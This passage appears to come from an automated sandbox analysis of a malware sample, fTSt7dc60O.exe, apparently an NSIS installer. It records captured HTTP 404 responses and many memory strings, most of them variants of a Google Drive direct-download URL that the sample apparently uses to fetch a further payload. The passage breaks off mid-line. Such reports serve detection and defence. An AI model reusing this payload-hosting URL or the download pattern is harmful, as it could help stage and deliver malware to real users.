Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Mvo9V69fHwQK2FW1Nm7173K1I8fBZLfKNAM4NzSb8bqdw8B1fab-0IM6WI9Gnr8kDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:39 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-v6NbmKre5m67uHZkn0vfWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQl6mRH8Y8IaoWcTpfIUUHxBnug6OaSznTs70oW8RIncvHadVuhwXmnZlGGU91BTl1cContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:42 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-ybTtXvGGOtPWe8der0jKEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: fTSt7dc60O.exe, 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmp, fTSt7dc60O.exe, 00000000.00000000.1246847605.0000000000409000.00000008.00000001.01000000.00000003.sdmp, fTSt7dc60O.exe, 00000008.00000000.1363121639.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: fTSt7dc60O.exe, 00000008.00000003.1835223566.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2069157679.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2322710276.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2429117505.0000000007240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.go
Source: fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071AC000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1535832337.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071AC000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767155103.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/EveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/EveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download/
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/EveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download1#
Source: fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/EveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download=
Source: fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/EveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download_
Source: fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/EveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloade
Source: fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/EveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadiderw
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/EveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadt
Source: fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/ificate
Source: fTSt7dc60O.exe, 00000008.00000003.1697796809.00000000071F8000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071C3000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ
Source: fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ$
Source: fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1569872660.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1580893533.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767155103.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ-LRbwbJdNQXDVmZ
Source: fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ-LRbwbJdNQXDVmZT
Source: fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ7
Source: fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ7$
Source: fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071F0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1547334302.00000000071F7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1569872660.00000000071F6000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.00000000071F8000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.00000000071F8000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.00000000071F8000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1580893533.00000000071F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ8
Source: fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ=EQ
Source: fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1569872660.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1580893533.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1547334302.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767155103.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZD
Source: fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071C3000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZEE
Source: fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZP
Source: fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZW#d
Source: fTSt7dc60O.exe, 00000008.00000003.1524814992.00000000071F7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.00000000071F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZd
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071C3000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZiE
Source: fTSt7dc60O.exe, 00000008.00000003.1502459793.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZj
Source: fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071F0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.00000000071F8000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.00000000071F8000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.00000000071F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZp
Source: fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZssionKeyBackward
Source: fTSt7dc60O.exe, 00000008.00000003.1513407431.00000000071F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZst
Source: fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZt
Source: fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071C3000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071C3000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZuG
Source: fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZw
Source: fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1569872660.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1580893533.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1535832337.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1547334302.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZx
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZz
Source: fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1502459793.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1547334302.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071C3000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767155103.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071C3000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/$
Source: fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/$xe
Source: fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1569872660.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1580893533.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1535832337.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1491048101.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1502459793.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1547334302.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767155103.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/V
Source: fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2416959521.0000000007239000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1743981759.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2346675875.0000000007239000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2160094821.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1580847659.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2382983773.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2114900550.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1478904188.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721681045.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1813315501.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1930969001.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2465116308.0000000007239000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2114900550.0000000007239000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2217812923.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1906275890.0000000007239000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 